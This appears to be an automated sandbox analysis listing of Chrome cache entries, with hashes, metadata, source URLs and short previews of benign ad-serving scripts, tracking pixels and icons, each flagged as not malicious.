Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var h,ba=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},da=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},ea=da(this),fa=function(a,b){if(b)a:{var c=ea;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ca(c,a,{configurable:!0,writable:!0,value:b})}};.fa("Symbol",function(a){if(a)return a;var b=function(f,g){this.j=f;ca(this,"description",{configurable:!0,writable:!0,value:g})};b.prototype.toString=functio

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2937)
Category:	downloaded
Size (bytes):	218938
Entropy (8bit):	5.415736669991316
Encrypted:	false
SSDEEP:	6144:vR9Um9Yw3sA5L7ncPidHslXWfXbl01A/d9S:PnOr4l0CfS
MD5:	856501D11FCD34EC85F3D45B2567CE92
SHA1:	54023FD129DB426E23556FBC52DCBC60E6F172E7
SHA-256:	B47638E2B3E5A0F28AC238700ECD6A54D333BD521A54B20BB873A565FEC58687
SHA-512:	F16252ABBED2559FBE8A44DC0095D0FC4F4F00BED9B73B422CB1D051D4A3B3302894A1922C3ACA83AADC9A3608F66DEAE426E5FD368A6B1E170A0AC03AD45E5C
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/pagead/managed/js/activeview/current/ufs_web_display.js?cache=r20110914
Preview:	(function(){var n,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");},da=.ca(this),q=function(a,b){if(b)a:{var c=da;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.q("Symbol",function(a){if(a)return a;var b=function(f,g){this.bh=f;ba(this,"description",{configurable:!0,writable:!0,value:g})};b.prototype.toString=function(){return this.bh};var c="jscomp_symbol_"+(1E9*Math.random()>>>0)+"_",d=0,e=function(f){if(this instanceof e

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21224)
Category:	downloaded
Size (bytes):	24203
Entropy (8bit):	5.349731623672621
Encrypted:	false
SSDEEP:	384:PLX1wtH+NTv0vDckjUhzU0ZppJeiUGg2TD7eC43YU/Us3ZYNbHG3W5AJdME9oPaV:jKtPQOaG3WFaoPaIK/zn
MD5:	F1DFC75C82E12DFE846D5593978E422A
SHA1:	12E580A708B09C9A8F4CA7CCBE9DD7DF32EDEE60
SHA-256:	08204982C484FAF6890C60557A4E642971F17625DDDDC0559DC0E3CA728AC9E0
SHA-512:	623412E6D454104251215E38A0F365F879EC70F77306769F5FA40E144C0EAB43237D1FE13B92031AD5848071A6A8910F01576F079E1A0904F4D8DD8959D922A5
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/safeframe/1-0-40/js/ext.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var aa="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},ca=ba(this),da=function(a,b){if(b)a:{var c=ca;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&aa(c,a,{configurable:!0,writable:!0,value:b})}},ea=function(a){return a.raw=a},fa="function"==typeof Object.assign?Object.assign:function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(d)for(var e in d)Object.prototype.hasOwnProperty.call(d,e)&&(a[e]=d[e])}return a};da("Object.assign",f

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://ad.doubleclick.net/ddm/trackimp/N2189699.3349700DISPLAYVIDEO360/B31724224.392521620;dc_pre=CJD37du744UDFbYOiAkdT2wNjA;dc_trk_aid=583921962;dc_trk_cid=213367934;ord=1714257735630;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;gdpr=;gdpr_consent=;ltd=;dc_tdv=1?
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537148856&val=Zi1-PgAAvwsNrQAF
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26524)
Category:	downloaded
Size (bytes):	26624
Entropy (8bit):	5.263780227011766
Encrypted:	false
SSDEEP:	384:h4yp51g8TzZFRv4BbEZGSvt0omkOAB3kajEFR70Ma/g97PAKtLA:h46pTzZFRQBbEoSvtZB3kGEFqMaI98K+
MD5:	9AD696B21E3234FB58B717CF4C3153D1
SHA1:	23553EFB7808ACCAEF510E6048EA544AC8CE1384
SHA-256:	9919942F8E32DA316FD490EAB646CF6B358D53CD5A0E5926B5E4272E1A52F275
SHA-512:	E7D662156940661DC133E4FF8A69534061E0F97F4FC8BFB5ED6C03A3FE75F5465BC1BC1F377DE8245026D978802EDADCCC65DB93EDF13DBB94321656DD7207A9
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/puc/creative.js
Preview:	/* v1.17.0-pre.Updated : 2024-04-24.DEPRECATED, please use creative based on hb_format targeting */.!function(n){var r={};function o(t){var e;return(r[t]\|\|(e=r[t]={i:t,l:!1,exports:{}},n[t].call(e.exports,e,e.exports,o),e.l=!0,e)).exports}o.m=n,o.c=r,o.d=function(t,e,n){o.o(t,e)\|\|Object.defineProperty(t,e,{configurable:!1,enumerable:!0,get:n})},o.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return o.d(e,"a",e),e},o.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},o.p="",o(o.s=3)}([function(t,e,n){"use strict";e.i=function(t,e){var n=new Image;e&&"function"==typeof e&&(n.addEventListener("load",e),n.addEventListener("error",e));n.src=t},e.a=function(t){return t?(t=encodeURI(t),'<div style="position:absolute;left:0px;top:0px;visibility:hidden;"><img src="'.concat(t,'"></div>')):""},e.j=function(t,e,n){n=r.a(n,e);n.src=t,document.body.appendChild(n)},e.g=function(t,e){var n=new XMLHttpRequest;n.addEventListener("load",function(){e(

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072971&val=43e7dc8e-5458-4375-be4a-644737ed4dbd&ttd_puid=c4aa4365-cd5c-347e-41e3-d95d60b970f6&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 284

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64457), with no line terminators
Category:	downloaded
Size (bytes):	67717
Entropy (8bit):	5.404608504229257
Encrypted:	false
SSDEEP:	1536:2UI64yjnvD+FnD6Ug0NAohpuGKOGALvCqk8B4B3OYJKnGvK:TzvDAgoqi
MD5:	6EA12FCCBED15820786C87F0B9B67D61
SHA1:	0B1945893B1F90112CB7B1615DD751A17F0BE14F
SHA-256:	CBEEE7DA6CC21D0D3394C55FAB07C9005D10405A505117CB41C2A1B013773B97
SHA-512:	D06684BA7C541FA5CE2879FAE1632B1996475A3CCE1E7384F396E07010BFC336F2A9A976D07E9A1F97C2620D70B6F465F216E6EDF4243C0245C8FA51772CF072
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/hc/homepage-pwa-defer-1.1.6.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("HomepageClient",[],t):"object"==typeof exports?exports.HomepageClient=t():e.HomepageClient=t()}("undefined"!=typeof self?self:this,function(){return function(e){function t(n){if(o[n])return o[n].exports;var r=o[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,t),r.l=!0,r.exports}var n=window.webpackJsonpHomepageClient;window.webpackJsonpHomepageClient=function(t,o,i){for(var a,s,c=0,l=[];c<t.length;c++)s=t[c],r[s]&&l.push(r[s][0]),r[s]=0;for(a in o)Object.prototype.hasOwnProperty.call(o,a)&&(e[a]=o[a]);for(n&&n(t,o,i);l.length;)l.shift()()};var o={},r={1:0,2:0};return t.e=function(e){function n(){s.onerror=s.onload=null,clearTimeout(c);var t=r[e];0!==t&&(t&&t[1](new Error("Loading chunk "+e+" failed.")),r[e]=void 0)}var o=r[e];if(0===o)return new Promise(function(e){e()});if(o)return o[2];var i=new Promise(function(t,n){o=r[e]=[t,n]});o[2]=i;v

Chrome Cache Entry: 285

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1650
Entropy (8bit):	5.159978002033735
Encrypted:	false
SSDEEP:	24:tCbYLbGPGuXVGTTGzGeLGSoGQlnGMGl8YolNBa4xYZHnRDaHjjOtKwS7xDSyFYxT:Di+huqUGSbQMHmlNQulQKxM
MD5:	03C10F2C4E36A75805F7735D1F07C98C
SHA1:	DAEF61F97758BEF6CE593D34998F5F8EA7E20E7D
SHA-256:	0F7D51EA19F78212DBF64706C7CCEB771E3D7B6390057BD4E44355B2850B1DA5
SHA-512:	26C726B47435AAF67BA01633AA75F50E48718A494FF19C0E2BD9AD58D070508AE9C8A14255EA0BF5A754BFBA2F6C4BD4D20632A31464478DF74EE68F10C59465
Malicious:	false
Reputation:	low
Preview:	<svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">. <defs>. <linearGradient x1="-36.396%" y1="32.854%" x2="33.396%" y2="133.313%" id="a">. <stop stop-color="#FFF5B2" offset=".013%"/>. <stop stop-color="#FFDE00" offset="39.944%"/>. <stop stop-color="#FFA700" offset="100%"/>. </linearGradient>. <linearGradient x1="115.053%" y1="97.289%" x2="115.053%" y2="-17.557%" id="b">. <stop stop-color="#FFB92B" stop-opacity=".05" offset="0%"/>. <stop stop-color="#FF6900" offset="100%"/>. </linearGradient>. <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="c">. <stop stop-color="#B5BDC8" offset="0%"/>. <stop stop-color="#C7CDD2" offset="21.044%"/>. <stop stop-color="#E5EBEF" offset="100%"/>. </linearGradient>. <path d="M20.464 26.12c-4.225-.75-8.257 2.1-9.051 6.396a5.422 5.422 0 00-5.252 2.062 5.67 5.67 0 00-.693 5.694 3.006 3.006 0 002.792 1.727h10.855c4.085.022 7.5

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sync.mathtag.com/sync/img?mt_exid=36&7de677f8-dda1-428e-88ae-9b2fad295b01
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072971&val=43e7dc8e-5458-4375-be4a-644737ed4dbd&ttd_puid=daaf3e02-0bcc-3afa-7eb6-2ab938e28ede&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15264)
Category:	downloaded
Size (bytes):	15697
Entropy (8bit):	5.53729719471769
Encrypted:	false
SSDEEP:	384:uQTCfjv99mW+911+Fl0YD0Dew/X2q5ulRIUeT:uQTCfGZ1+Fj9w/XuuT
MD5:	E2202E6ED6EF52CEC2C4A875C99225BA
SHA1:	FD48D3157CFA6B6E6FEC3E50787E357AA3288C88
SHA-256:	F2CFBD195DFF011843F93E2D32979F6F07926211CBF3EDDDC3B708B0BB04C8A2
SHA-512:	4E2AEFD87D89F4D5C00CFCAC8EE2D7748F84979BE9E66272475A621A19BA8FC884737DF604B3B7344FE4EB0C1154819880BC3769E25798BB4ABDDEF76EDC9B4F
Malicious:	false
Reputation:	low
URL:	https://www.yahoo.com/__rapid-worker-1.2.js
Preview:	/* @preserve. * $Id: rawdeflate.js,v 0.3 2009/03/01 19:05:05 dankogai Exp dankogai $. . Original:. * http://www.onicos.com/staff/iz/amuse/javascript/expert/deflate.txt. /./ @preserve. * Copyright (C) 1999 Masanao Izumo <iz@onicos.co.jp>. * Version: 1.0.1. * LastModified: Dec 25 1999. /./. @preserve This code contains an altered version of the original source and is not meant to misrepresent the original software.. */.function base64(r){if("undefined"!=typeof btoa)return btoa(r);for(var t,e,n,f,o,i,a,l="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",u=[],s=0;r.length>s;)t=r.charCodeAt(s++),e=r.charCodeAt(s++),n=r.charCodeAt(s++),f=t>>2,o=(3&t)<<4\|e>>4,i=(15&e)<<2\|n>>6,a=63&n,isNaN(e)?i=a=64:isNaN(n)&&(a=64),u.push(l.charAt(f)+l.charAt(o)+l.charAt(i)+l.charAt(a));return u.join("")}function lzw_encode(r){for(var t,e={},n=(r+"").split(""),f=[],o=n[0],i=256,a=n.length,l=1;a>l;l++)t=n[l],null!=e[o+t]?o+=t:(f.push(o.length>1?e[o]:o.charCodeAt(0)),e[o+t]=i,i++,o

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?p=159463&userIdMacro=PM_UID&predirect=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D9%26vsid%3D3572593249104590000V10%26type%3Dpba%26refUrl%3D%26vid%3D42577364233572593249104590000V10%26axid_e%3D%26ovsid%3DPM_UID
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	49
Entropy (8bit):	3.176789192964165
Encrypted:	false
SSDEEP:	3:CUVAae/XExlHrfx/n:8aOUJ/n
MD5:	56398E76BE6355AD5999B262208A17C9
SHA1:	A1FDEE122B95748D81CEE426D717C05B5174FE96
SHA-256:	2F561B02A49376E3679ACD5975E3790ABDFF09ECBADFA1E1858C7BA26E3FFCEF
SHA-512:	FD8B021F0236E487BFEE13BF8F0AE98760ABC492F7CA3023E292631979E135CB4CCB0C89B6234971B060AD72C0CA4474CBB5092C6C7A3255D81A54A36277B486
Malicious:	false
Reputation:	low
URL:	https://bcp.crwdcntrl.net/map/c=14701/tp=MTAI/tpid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B/gdpr=0/gdpr_consent=
Preview:	GIF89a...................!.......,...........T..;

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?p=159463&userIdMacro=PM_UID&predirect=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Dpba%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3DPM_UID
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (8688)
Category:	downloaded
Size (bytes):	8710
Entropy (8bit):	5.384456388934386
Encrypted:	false
SSDEEP:	192:UeblSfub/hh+EpER8yp57QctqKdH+LPQKQVyuVi9JknLxPcObQ70RLdYPg44Hi:UeaE6Rdp57Qc9deLPQKQVy99CLNQIC
MD5:	B11C9A95710E5AF6036D3E023E6F3E32
SHA1:	CDF023EA7A6BE2BFCB2E5098B97E0528C827AC7B
SHA-256:	CBE9FD72AFC83A2083C3D086A469897A9C3FF220E1B18701277677D90D6E9EAF
SHA-512:	6BFE93F9454E7EAA71C8B7368E45C034D5E18702A8766FDF7DA4AD3664170149174F816ACFD97197CD18C7B4A4F782A5F4F145B408BF5C2547028CBE3EF14BAB
Malicious:	false
Reputation:	low
URL:	https://cdn.doubleverify.com/dvtp_src.js
Preview:	/! v5877 519875bc /.var __webpack_exports__={};(function(){function e(){try{return(new Date).getTime()}catch(e){return 0}}var t=e(),r={InjectTagError:{id:1,message:"InjectTagError"},LoadTagError:{id:2,message:"LoadTagError"},UnexpectedError:{id:128,message:"UnexpectedError"}},n=function(){},o=U(),i="undefined"==typeof window\|\|"function"!=typeof window.addEventListener,a=function(){var e,t;if(!i){try{M(e=x("about:blank")),t=!N(e)}catch(e){t=!0}try{e&&("function"==typeof e.remove&&e.remove(),e=null)}catch(e){}}return t}(),c=-1,d=function(){try{if(i)return!1;if("object"==typeof omidVerificationProperties&&"web"===omidVerificationProperties.injectionSource)return!0;for(var e=!1,t=window;!1===e&&t;)e=null!==t.document.querySelector("script[src*=omweb-v1]"),t=t===window.top?null:t.parent,c++;return e}catch(e){return!1}}(),u=-1,f=function(){try{if(i\|\|d)return!1;var e=!1,t=window;for(;!1===e&&t;)e=(r=t.omid3p)&&"function"==typeof r.registerSessionObserver&&"function"==typeof r.addEventListen

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1054)
Category:	downloaded
Size (bytes):	2689
Entropy (8bit):	5.40021492400263
Encrypted:	false
SSDEEP:	48:Otg7xBo1IN7Qa69Fa9FKYPCfmY/bZyf2jcju8m5I0zRHkFRvEJG:/N7QaaiC+Y/jcju8WhRHMxEJG
MD5:	9EF158292B617D358506529B02C73629
SHA1:	843852D8ADDBF1A7F96C5607179E1C9423ED8A4C
SHA-256:	3164DB7EF9EFC7121CE85192340A653C6CB87E34CAA05849C8FD47B7872F9FC5
SHA-512:	D4B0E6E8900043C9C4EE010ABFD00A51D891FE4B4F424418DC1A75075E3DF931D0558BFB3E983190079EDDD0BF11D7604E70CEAF119351690812EBC21D7EAEB8
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/pagead/js/r20240424/r20110914/client/window_focus_fy2021.js
Preview:	(function(){'use strict';function f(a,b,e){a.addEventListener&&a.addEventListener(b,e,!1)};/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 .*/ .function g(a,b,e){if(Array.isArray(b))for(var c=0;c<b.length;c++)g(a,String(b[c]),e);else null!=b&&e.push(a+(""===b?"":"="+encodeURIComponent(String(b))))};function l(a=document){return a.createElement("img")};function m(a,b,e=null,c=!1){n(a,b,e,c)}function n(a,b,e,c){a.google_image_requests\|\|(a.google_image_requests=[]);const d=l(a.document);if(e\|\|c){const k=h=>{e&&e(h);if(c){h=a.google_image_requests;const v=Array.prototype.indexOf.call(h,d,void 0);0<=v&&Array.prototype.splice.call(h,v,1)}d.removeEventListener&&d.removeEventListener("load",k,!1);d.removeEventListener&&d.removeEventListener("error",k,!1)};f(d,"load",k);f(d,"error",k)}d.src=b;a.google_image_requests.push(d)};function p(a=null){return 